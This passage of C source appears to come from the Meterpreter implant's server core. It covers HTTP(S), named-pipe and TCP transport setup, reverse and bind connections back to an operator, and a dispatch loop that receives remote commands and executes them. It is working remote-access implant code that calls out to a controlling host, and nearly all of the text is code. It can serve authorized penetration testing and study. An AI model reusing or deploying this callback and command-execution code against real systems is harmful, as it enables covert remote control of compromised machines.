ctx->proxy = _wcsdup(config->proxy.hostname);
}
dprintf("[TRANS HTTP] Given proxy user: %S", config->proxy.username);
if (config->proxy.username[0])
{
ctx->proxy_user = _wcsdup(config->proxy.username);
}
dprintf("[TRANS HTTP] Given proxy pass: %S", config->proxy.password);
if (config->proxy.password[0])
{
ctx->proxy_pass = _wcsdup(config->proxy.password);
}
ctx->ssl = wcsncmp(config->common.url, L"https", 5) == 0;
if (config->custom_headers[0])
{
ctx->custom_headers = _wcsdup(config->custom_headers);
if (size)
{
*size += (DWORD)wcslen(ctx->custom_headers) * sizeof(ctx->custom_headers[0]);
}
}
dprintf("[SERVER] Received HTTPS Hash: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
config->ssl_cert_hash[0], config->ssl_cert_hash[1], config->ssl_cert_hash[2], config->ssl_cert_hash[3],
config->ssl_cert_hash[4], config->ssl_cert_hash[5], config->ssl_cert_hash[6], config->ssl_cert_hash[7],
config->ssl_cert_hash[8], config->ssl_cert_hash[9], config->ssl_cert_hash[10], config->ssl_cert_hash[11],
config->ssl_cert_hash[12], config->ssl_cert_hash[13], config->ssl_cert_hash[14], config->ssl_cert_hash[15],
config->ssl_cert_hash[16], config->ssl_cert_hash[17], config->ssl_cert_hash[18], config->ssl_cert_hash[19]);
// only apply the cert hash if we're given one and it's not the global value
SAFE_FREE(ctx->cert_hash);
unsigned char emptyHash[CERT_HASH_SIZE] = { 0 };
if (memcmp(config->ssl_cert_hash, emptyHash, CERT_HASH_SIZE))
{
ctx->cert_hash = (PBYTE)malloc(sizeof(BYTE) * 20);
memcpy(ctx->cert_hash, config->ssl_cert_hash, 20);
}
ctx->create_req = get_request_winhttp;
ctx->send_req = send_request_winhttp;
ctx->close_req = close_request_winhttp;
ctx->validate_response = validate_response_winhttp;
ctx->receive_response = receive_response_winhttp;
ctx->read_response = read_response_winhttp;
transport->timeouts.comms = config->common.comms_timeout;
transport->timeouts.retry_total = config->common.retry_total;
transport->timeouts.retry_wait = config->common.retry_wait;
transport->type = ctx->ssl ? METERPRETER_TRANSPORT_HTTPS : METERPRETER_TRANSPORT_HTTP;
ctx->url = transport->url = _wcsdup(config->common.url);
transport->packet_transmit = packet_transmit_http;
transport->server_dispatch = server_dispatch_http;
transport->transport_init = server_init_winhttp;
transport->transport_deinit = server_deinit_http;
transport->transport_destroy = transport_destroy_http;
transport->ctx = ctx;
transport->comms_last_packet = current_unix_timestamp();
transport->get_config_size = transport_get_config_size_http;
return transport;
}
/*!
* @brief The servers main dispatch loop for incoming requests using HTTP(S).
* @param remote Pointer to the remote endpoint for this server connection.
* @param dispatchThread Pointer to the main dispatch thread.
* @returns Indication of success or failure.
*/
static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread)
{
BOOL running = TRUE;
LONG result = ERROR_SUCCESS;
Packet* packet = NULL;
THREAD* cpt = NULL;
DWORD ecount = 0;
DWORD delay = 0;
Transport* transport = remote->transport;
HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx;
while (running)
{
if (transport->timeouts.comms != 0 && transport->comms_last_packet + transport->timeouts.comms < current_unix_timestamp())
{
dprintf("[DISPATCH] Shutting down server due to communication timeout");
break;
}
if (remote->sess_expiry_end != 0 && remote->sess_expiry_end < current_unix_timestamp())
{
dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time");
dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), remote->sess_expiry_end);
break;
}
if (event_poll(dispatchThread->sigterm, 0))
{
dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
break;
}
dprintf("[DISPATCH] Reading data from the remote side...");
result = packet_receive_http(remote, &packet);
if (result != ERROR_SUCCESS)
{
// Update the timestamp for empty replies
if (result == ERROR_EMPTY)
{
transport->comms_last_packet = current_unix_timestamp();
}
else if (result == ERROR_WINHTTP_CANNOT_CONNECT)
{
dprintf("[DISPATCH] Failed to work correctly with WinHTTP, moving over to WinINET");
// next we need to indicate that we need to do a switch to wininet when we terminate
ctx->move_to_wininet = TRUE;
// and pretend to do a transport switch, to ourselves!
remote->next_transport = remote->transport;
result = ERROR_SUCCESS;
break;
}
else if (result == ERROR_WINHTTP_SECURE_INVALID_CERT)
{
// This means that the certificate validation failed, and so
// we don't trust who we're connecting with, so we need to move
// on to another transport.
// If we're the only transport, then we should wait for the allotted
// time before trying again. Otherwise, we can just switch immediately.
// This avoids spinning the process and making way too many requests
// in a short period of time (ie. avoiding noise).
if (remote->transport == remote->transport->next_transport)
{
remote->next_transport_wait = remote->transport->timeouts.retry_wait;
}
break;
}
else if (result == ERROR_BAD_CONFIGURATION)
{
// something went wrong with WinINET so break.
break;
}
delay = 10 * ecount;
if (ecount >= 10)
{
delay *= 10;
}
ecount++;
dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay));
Sleep(min(10000, delay));
}
else
{
transport->comms_last_packet = current_unix_timestamp();
// Reset the empty count when we receive a packet
ecount = 0;
dprintf("[DISPATCH] Returned result: %d", result);
if (packet != NULL)
{
running = command_handle(remote, packet);
dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
if (ctx->new_uri != NULL)
{
dprintf("[DISPATCH] Recieved hot-patched URL for stageless: %S", ctx->new_uri);
dprintf("[DISPATCH] Old URI is: %S", ctx->uri);
dprintf("[DISPATCH] Old URL is: %S", transport->url);
// if the new URI needs more space, let's realloc space for the new URL now
int diff = (int)wcslen(ctx->new_uri) - (int)wcslen(ctx->uri);
if (diff > 0)
{
dprintf("[DISPATCH] New URI is bigger by %d", diff);
transport->url = (wchar_t*)realloc(transport->url, (wcslen(transport->url) + diff + 1) * sizeof(wchar_t));
}
// we also need to patch the new URI into the original transport URL, not just the currently
// active URI for comms. If we don't, then migration behaves badly.
// The URL looks like this: http(s)://<domain-or-ip>:port/lurivalue/UUIDJUNK/
// Start by locating the start of the URI in the current URL, by finding the third slash,
// as this value includes the LURI
wchar_t* csr = transport->url;
for (int i = 0; i < 3; ++i)
{
// We need to move to the next character first in case
// we are currently pointing at the previously found /
// we know we're safe skipping the first character in the whole
// URL because that'll be part of the scheme (ie. 'h' in http)
++csr;
while (*csr != L'\0' && *csr != L'/')
{
++csr;
}
dprintf("[DISPATCH] %d csr: %p -> %S", i, csr, csr);
// this shouldn't happen!
if (*csr == L'\0')
{
break;
}
}
// the pointer that we have will be
dprintf("[DISPATCH] Pointer is at: %p -> %S", csr, csr);
// patch in the new URI
wcscpy_s(csr, wcslen(diff > 0 ? ctx->new_uri : ctx->uri) + 1, ctx->new_uri);
dprintf("[DISPATCH] New URL is: %S", transport->url);
// clean up
SAFE_FREE(ctx->uri);
ctx->uri = ctx->new_uri;
ctx->new_uri = NULL;
}
}
else
{
dprintf("[DISPATCH] Packet was NULL, this indicates that it was a pivot packet");
}
}
}
return result;
}
/*!
* @brief Initialise the HTTP(S) connection.
* @param transport Pointer to the transport instance.
* @return Indication of success or failure.
*/
static BOOL server_init_winhttp(Transport* transport)
{
URL_COMPONENTS bits;
wchar_t tmpHostName[URL_SIZE];
wchar_t tmpUrlPath[URL_SIZE];
HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx;
dprintf("[WINHTTP] Initialising ...");
// configure proxy
if (ctx->proxy)
{
dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy);
ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_NAMED_PROXY, ctx->proxy, WINHTTP_NO_PROXY_BYPASS, 0);
}
else
{
ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
}
if (!ctx->internet)
{
dprintf("[DISPATCH] Failed WinHttpOpen: %d", GetLastError());
return FALSE;
}
dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet);
// The InternetCrackUrl method was poorly designed...
ZeroMemory(tmpHostName, sizeof(tmpHostName));
ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath));
ZeroMemory(&bits, sizeof(bits));
bits.dwStructSize = sizeof(bits);
bits.dwHostNameLength = URL_SIZE - 1;
bits.lpszHostName = tmpHostName;
bits.dwUrlPathLength = URL_SIZE - 1;
bits.lpszUrlPath = tmpUrlPath;
dprintf("[DISPATCH] About to crack URL: %S", transport->url);
WinHttpCrackUrl(transport->url, 0, 0, &bits);
SAFE_FREE(ctx->uri);
ctx->uri = _wcsdup(tmpUrlPath);
transport->comms_last_packet = current_unix_timestamp();
dprintf("[DISPATCH] Configured URI: %S", ctx->uri);
dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort);
// Allocate the connection handle
ctx->connection = WinHttpConnect(ctx->internet, tmpHostName, bits.nPort, 0);
if (!ctx->connection)
{
dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError());
return FALSE;
}
dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection);
return TRUE;
}
/*!
* @brief Initialise the HTTP(S) connection.
* @param remote Pointer to the remote instance with the HTTP(S) transport details wired in.
* @param sock Reference to the original socket FD passed to metsrv (ignored);
* @return Indication of success or failure.
*/
static BOOL server_init_wininet(Transport* transport)
{
URL_COMPONENTS bits;
wchar_t tmpHostName[URL_SIZE];
wchar_t tmpUrlPath[URL_SIZE];
HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx;
dprintf("[WININET] Initialising ...");
// configure proxy
if (ctx->proxy)
{
dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy);
ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PROXY, ctx->proxy, NULL, 0);
}
else
{
ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
}
if (!ctx->internet)
{
dprintf("[DISPATCH] Failed InternetOpenW: %d", GetLastError());
return FALSE;
}
dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet);
// The InternetCrackUrl method was poorly designed...
ZeroMemory(tmpHostName, sizeof(tmpHostName));
ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath));
ZeroMemory(&bits, sizeof(bits));
bits.dwStructSize = sizeof(bits);
bits.dwHostNameLength = URL_SIZE - 1;
bits.lpszHostName = tmpHostName;
bits.dwUrlPathLength = URL_SIZE - 1;
bits.lpszUrlPath = tmpUrlPath;
dprintf("[DISPATCH] About to crack URL: %S", transport->url);
InternetCrackUrlW(transport->url, 0, 0, &bits);
SAFE_FREE(ctx->uri);
ctx->uri = _wcsdup(tmpUrlPath);
transport->comms_last_packet = current_unix_timestamp();
dprintf("[DISPATCH] Configured URI: %S", ctx->uri);
dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort);
// Allocate the connection handle
ctx->connection = InternetConnectW(ctx->internet, tmpHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (!ctx->connection)
{
dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError());
return FALSE;
}
if (ctx->proxy)
{
if (ctx->proxy_user)
{
InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)wcslen(ctx->proxy_user));
}
if (ctx->proxy_pass)
{
InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)wcslen(ctx->proxy_pass));
}
}
dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection);
return TRUE;
}
/*!
* @brief Configure the named pipe connnection. If it doesn't exist, go ahead and estbalish it.
* @param transport Pointer to the transport instance.
* @return Indication of success or failure.
*/
static BOOL configure_named_pipe_connection(Transport* transport)
{
DWORD result = ERROR_SUCCESS;
wchar_t tempUrl[512];
NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)transport->ctx;
if (ctx->pipe_name == NULL)
{
dprintf("[NP CONFIGURE] Url: %S", transport->url);
wcscpy_s(tempUrl, 512, transport->url);
dprintf("[NP CONFIGURE] Copied: %S", tempUrl);
transport->comms_last_packet = current_unix_timestamp();
dprintf("[NP CONFIGURE] Making sure it's a pipe ...");
if (wcsncmp(tempUrl, L"pipe", 4) == 0)
{
dprintf("[NP CONFIGURE] Yup, it is, parsing");
wchar_t* pServer = wcsstr(tempUrl, L"//") + 2;
dprintf("[NP CONFIGURE] pServer is %p", pServer);
dprintf("[NP CONFIGURE] pServer is %S", pServer);
wchar_t* pName = wcschr(pServer, L'/') + 1;
dprintf("[NP CONFIGURE] pName is %p", pName);
dprintf("[NP CONFIGURE] pName is %S", pName);
wchar_t* pSlash = wcschr(pName, L'/');
dprintf("[NP CONFIGURE] pName is %p", pName);
// Kill off a trailing slash if there is one
if (pSlash != NULL)
{
*pSlash = '\0';
}
*(pName - 1) = '\0';
dprintf("[NP CONFIGURE] Server: %S", pServer);
dprintf("[NP CONFIGURE] Name: %S", pName);
size_t requiredSize = wcslen(pServer) + wcslen(pName) + 9;
ctx->pipe_name = (STRTYPE)calloc(requiredSize, sizeof(CHARTYPE));
_snwprintf_s(ctx->pipe_name, requiredSize, requiredSize - 1, L"\\\\%s\\pipe\\%s", pServer, pName);
dprintf("[NP CONFIGURE] Full pipe name: %S", ctx->pipe_name);
}
}
// check if comms is already open via a staged payload
if (ctx->pipe != NULL && ctx->pipe != INVALID_HANDLE_VALUE)
{
// Configure PIPE_WAIT. Stager doesn't do this because ConnectNamedPipe may never return.
DWORD mode = 0;
SetNamedPipeHandleState((HANDLE)ctx->pipe, &mode, NULL, NULL);
dprintf("[NP] Connection already running on %u", ctx->pipe);
}
else
{
dprintf("[NP CONFIGURE] pipe name is %p", ctx->pipe_name);
if (ctx->pipe_name != NULL)
{
if (wcsncmp(ctx->pipe_name, L"\\\\.\\", 4) == 0)
{
ctx->pipe = bind_named_pipe(ctx->pipe_name, &transport->timeouts);
}
else
{
ctx->pipe = reverse_named_pipe(ctx->pipe_name, &transport->timeouts);
}
}
else
{
dprintf("[NP] we might have had an invalid URL");
result = ERROR_INVALID_PARAMETER;
}
}
if (ctx->pipe == INVALID_HANDLE_VALUE)
{
dprintf("[SERVER] Something went wrong");
return FALSE;
}
dprintf("[SERVER] Looking good, FORWARD!");
// Do not allow the file descriptor to be inherited by child processes
SetHandleInformation((HANDLE)ctx->pipe, HANDLE_FLAG_INHERIT, 0);
transport->comms_last_packet = current_unix_timestamp();
return TRUE;
}
/*!
* @brief Configure the TCP connnection. If it doesn't exist, go ahead and estbalish it.
* @param remote Pointer to the remote instance with the TCP transport details wired in.
* @param sock Reference to the original socket FD passed to metsrv.
* @return Indication of success or failure.
*/
static BOOL configure_tcp_connection(Transport* transport) {
DWORD result = ERROR_SUCCESS;
size_t charsConverted;
char tempUrl[512] = {0};
TcpTransportContext* ctx = (TcpTransportContext*)transport->ctx;
// check if comms is already open via a staged payload
if (ctx->fd) {
dprintf("[TCP] Connection already running on %u", ctx->fd);
}
else {
dprintf("[TCP CONFIGURE] Url: %s", transport->url);
// copy the URL to the temp location and work from there
// so that we don't damage the original URL while breaking
// it up into its individual parts.
strncpy(tempUrl, transport->url, sizeof(tempUrl) - 1);
//transport->start_time = current_unix_timestamp();
transport->comms_last_packet = current_unix_timestamp();
if (strncmp(tempUrl, "tcp", 3) == 0) {
char* pHost = strstr(tempUrl, "//") + 2;
char* pPort = strrchr(pHost, ':') + 1;
// check if we're using IPv6
if (tempUrl[3] == '6') {
char* pScopeId = strrchr(pHost, '?') + 1;
*(pScopeId - 1) = '\0';
*(pPort - 1) = '\0';
dprintf("[STAGELESS] IPv6 host %s port %S scopeid %S", pHost, pPort, pScopeId);
result = reverse_tcp6(pHost, pPort, atol(pScopeId), transport->timeouts.retry_total,
transport->timeouts.retry_wait, &ctx->fd);
}
else {
u_short usPort = (u_short)atoi(pPort);
// if no host is specified, then we can assume that this is a bind payload, otherwise
// we'll assume that the payload is a reverse_tcp one and the given host is valid
if (*pHost == ':') {
dprintf("[STAGELESS] IPv4 bind port %s", pPort);
result = bind_tcp(usPort, &ctx->fd);
}
else {
*(pPort - 1) = '\0';
dprintf("[STAGELESS] IPv4 host %s port %s", pHost, pPort);
result = reverse_tcp4(pHost, usPort, transport->timeouts.retry_total,
transport->timeouts.retry_wait, &ctx->fd);
}
}
}
}
if (result != ERROR_SUCCESS) {
dprintf("[SERVER] Something went wrong %u", result);
return FALSE;
}
dprintf("[SERVER] Looking good, FORWARD!");
dprintf("[SERVER] Flushing the socket handle...");
server_socket_flush(transport);
// Short term hack to be removed when the stageless stuff works.
// Flush the socket a second time to ignore the payload if we're
// reconnecting
server_socket_flush(transport);
transport->comms_last_packet = current_unix_timestamp();
dprintf("[SERVER] Initializing SSL...");
if (!server_initialize_ssl(transport)) {
return FALSE;
}
dprintf("[SERVER] Negotiating SSL...");
if (!server_negotiate_ssl(transport)) {
return FALSE;
}
return TRUE;
}
/*!
* @brief Setup and run the server. This is called from Init via the loader.
* @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions.
* @return Meterpreter exit code (ignored by the caller).
*/
DWORD server_setup(MetsrvConfig* config)
{
THREAD * serverThread = NULL;
Remote *remote = NULL;
char cStationName[256] = { 0 };
char cDesktopName[256] = { 0 };
DWORD res = 0;
dprintf("[SERVER] Initializing...");
int local_error = 0;
dprintf("[SERVER] Initializing from configuration: 0x%p", config);
dprintf("[SESSION] Comms Fd: %u", config->session.comms_fd);
dprintf("[SESSION] Expiry: %u", config->session.expiry);
srand(time(NULL));
// Open a THREAD item for the servers main thread, we use this to manage migration later.
serverThread = thread_open();
dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X",
serverThread->handle, serverThread->id, serverThread->sigterm);
if (!(remote = remote_allocate())) {
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
goto out;
}
remote->orig_config = config;
remote->sess_expiry_time = config->session.expiry;
remote->sess_start_time = current_unix_timestamp();
remote->sess_expiry_end = remote->sess_start_time + config->session.expiry;
remote->orig_config = config;
remote->sess_expiry_time = config->session.expiry;
remote->sess_start_time = current_unix_timestamp();
remote->sess_expiry_end = remote->sess_start_time + config->session.expiry;
dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end);
DWORD transportSize = 0;
if (!create_transports(remote, config->transports, &transportSize)) {
// not good, bail out!
SetLastError(ERROR_INVALID_PARAMETER);
goto out;
}
// the first transport should match the transport that we initially connected on.
// If it's TCP comms, we need to wire that up.
if (config->session.comms_fd) {
((TcpTransportContext*)remote->transport->ctx)->fd = (SOCKET)config->session.comms_fd;
}
// TODO: need to implement this when we have the valid approach done for stageless.
//load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize));
// Set up the transport creation function pointer
remote->trans_create = create_transport;
// Set up the transport removal function pointer
remote->trans_remove = remove_transport;
// and the config creation pointer
remote->config_create = config_create;
// Store our thread handle
remote->server_thread = serverThread->handle;
dprintf("[SERVER] Registering dispatch routines...");
register_dispatch_routines();
remote->sess_start_time = current_unix_timestamp();
// loop through the transports, reconnecting each time.
while (remote->transport) {
if (remote->transport->transport_init) {
dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport);
// Each transport has its own set of retry settings and each should honour
// them individually.
if (!remote->transport->transport_init(remote->transport)) {
dprintf("[SERVER] transport initialisation failed, moving to the next transport");
remote->transport = remote->transport->next_transport;
// when we have a list of transports, we'll iterate to the next one.
continue;
}
}
dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx);
DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread);
dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult);
if (remote->transport->transport_deinit) {
dprintf("[DISPATCH] deinitialising transport");
remote->transport->transport_deinit(remote->transport);
}
dprintf("[TRANS] resetting transport");
if (remote->transport->transport_reset) {
remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL);
}
// If the transport mechanism failed, then we should loop until we're able to connect back again.
if (dispatchResult == ERROR_SUCCESS) {
dprintf("[DISPATCH] Server requested shutdown of dispatch");
// But if it was successful, and this is a valid exit, then we should clean up and leave.
if (remote->next_transport == NULL) {
dprintf("[DISPATCH] No next transport specified, leaving");
// we weren't asked to switch transports, so we exit.
break;
}
// we need to change transports to the one we've been given. We will assume, for now,
// that the transport has been created using the appropriate functions and that it is
// part of the transport list.
dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport);
remote->transport = remote->next_transport;
remote->next_transport = NULL;
if (remote->next_transport_wait > 0) {
dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait);
sleep(remote->next_transport_wait);
// the wait is a once-off thing, needs to be reset each time
remote->next_transport_wait = 0;
}
}
else {
// move to the next one in the list
dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport);
remote->transport = remote->transport->next_transport;
}
}
// clean up the transports
while (remote->transport)
{
remove_transport(remote, remote->transport);
}
dprintf("[SERVER] Deregistering dispatch routines...");
deregister_dispatch_routines(remote);
remote_deallocate(remote);
out:
res = GetLastError();
dprintf("[SERVER] Finished.");
return res == ERROR_SUCCESS;
}
DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer)
{
DWORD result = ERROR_NOT_ENOUGH_MEMORY;
Transport* transport = NULL;
wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL);
TimeoutSettings timeouts = { 0 };
int sessionExpiry = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP);
timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT);
timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL);
timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT);
// special case, will still leave this in here even if it's not transport related
if (sessionExpiry != 0)
{
remote->sess_expiry_time = sessionExpiry;
remote->sess_expiry_end = current_unix_timestamp() + remote->sess_expiry_time;
}
if (timeouts.comms == 0)
{
timeouts.comms = remote->transport->timeouts.comms;
}
if (timeouts.retry_total == 0)
{
timeouts.retry_total = remote->transport->timeouts.retry_total;
}
if (timeouts.retry_wait == 0)
{
timeouts.retry_wait = remote->transport->timeouts.retry_wait;
}
dprintf("[CHANGE TRANS] Url: %S", transportUrl);
dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms);
dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total);
dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait);
do
{
if (transportUrl == NULL)
{
dprintf("[CHANGE TRANS] Something was NULL");
break;
}
if (wcsncmp(transportUrl, L"tcp", 3) == 0)
{
MetsrvTransportTcp config = { 0 };
config.common.comms_timeout = timeouts.comms;
config.common.retry_total = timeouts.retry_total;
config.common.retry_wait = timeouts.retry_wait;
memcpy(config.common.url, transportUrl, sizeof(config.common.url));
transport = remote->trans_create(remote, &config.common, NULL);
}
else
{
BOOL ssl = wcsncmp(transportUrl, L"https", 5) == 0;
wchar_t* ua = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_UA);
wchar_t* proxy = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_HOST);
wchar_t* proxyUser = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_USER);
wchar_t* proxyPass = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_PASS);
PBYTE certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH);
MetsrvTransportHttp config = { 0 };
config.common.comms_timeout = timeouts.comms;
config.common.retry_total = timeouts.retry_total;
config.common.retry_wait = timeouts.retry_wait;
wcsncpy(config.common.url, transportUrl, URL_SIZE);
if (proxy)
{
wcsncpy(config.proxy.hostname, proxy, PROXY_HOST_SIZE);
free(proxy);
}
if (proxyUser)
{
wcsncpy(config.proxy.username, proxyUser, PROXY_USER_SIZE);
free(proxyUser);
}
if (proxyPass)
{
wcsncpy(config.proxy.password, proxyPass, PROXY_PASS_SIZE);
free(proxyPass);
}
if (ua)
{
wcsncpy(config.ua, ua, UA_SIZE);
free(ua);
}
if (certHash)
{
memcpy(config.ssl_cert_hash, certHash, CERT_HASH_SIZE);
// No need to free this up as it's not a wchar_t
}
transport = remote->trans_create(remote, &config.common, NULL);
}
// tell the server dispatch to exit, it should pick up the new transport
result = ERROR_SUCCESS;
} while (0);
*transportBufer = transport;
return result;
}
DWORD server_dispatch_http_winhttp(Remote* remote, THREAD* dispatchThread)
{
BOOL running = TRUE;
LONG result = ERROR_SUCCESS;
Packet* packet = NULL;
THREAD* cpt = NULL;
DWORD ecount = 0;
DWORD delay = 0;
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
while (running)
{
if (ctx->comm_timeout != 0 && ctx->comm_last_packet + ctx->comm_timeout < current_unix_timestamp())
{
dprintf("[DISPATCH] Shutting down server due to communication timeout");
break;
}
if (ctx->expiration_time != 0 && ctx->expiration_time < current_unix_timestamp())
{
dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time");
dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), ctx->expiration_time);
break;
}
if (event_poll(dispatchThread->sigterm, 0))
{
dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
break;
}
dprintf("[DISPATCH] Reading data from the remote side...");
result = packet_receive_via_http(remote, &packet);
if (result != ERROR_SUCCESS)
{
// Update the timestamp for empty replies
if (result == ERROR_EMPTY)
{
ctx->comm_last_packet = current_unix_timestamp();
}
else if (result == ERROR_WINHTTP_SECURE_INVALID_CERT)
{
// This means that the certificate validation failed, and so
// we don't trust who we're connecting with. Bail out.
break;
}
if (ecount < 10)
{
delay = 10 * ecount;
}
else
{
delay = 100 * ecount;
}
ecount++;
dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay));
Sleep(min(10000, delay));
continue;
}
ctx->comm_last_packet = current_unix_timestamp();
// Reset the empty count when we receive a packet
ecount = 0;
dprintf("[DISPATCH] Returned result: %d", result);
running = command_handle(remote, packet);
dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
}
return result;
}
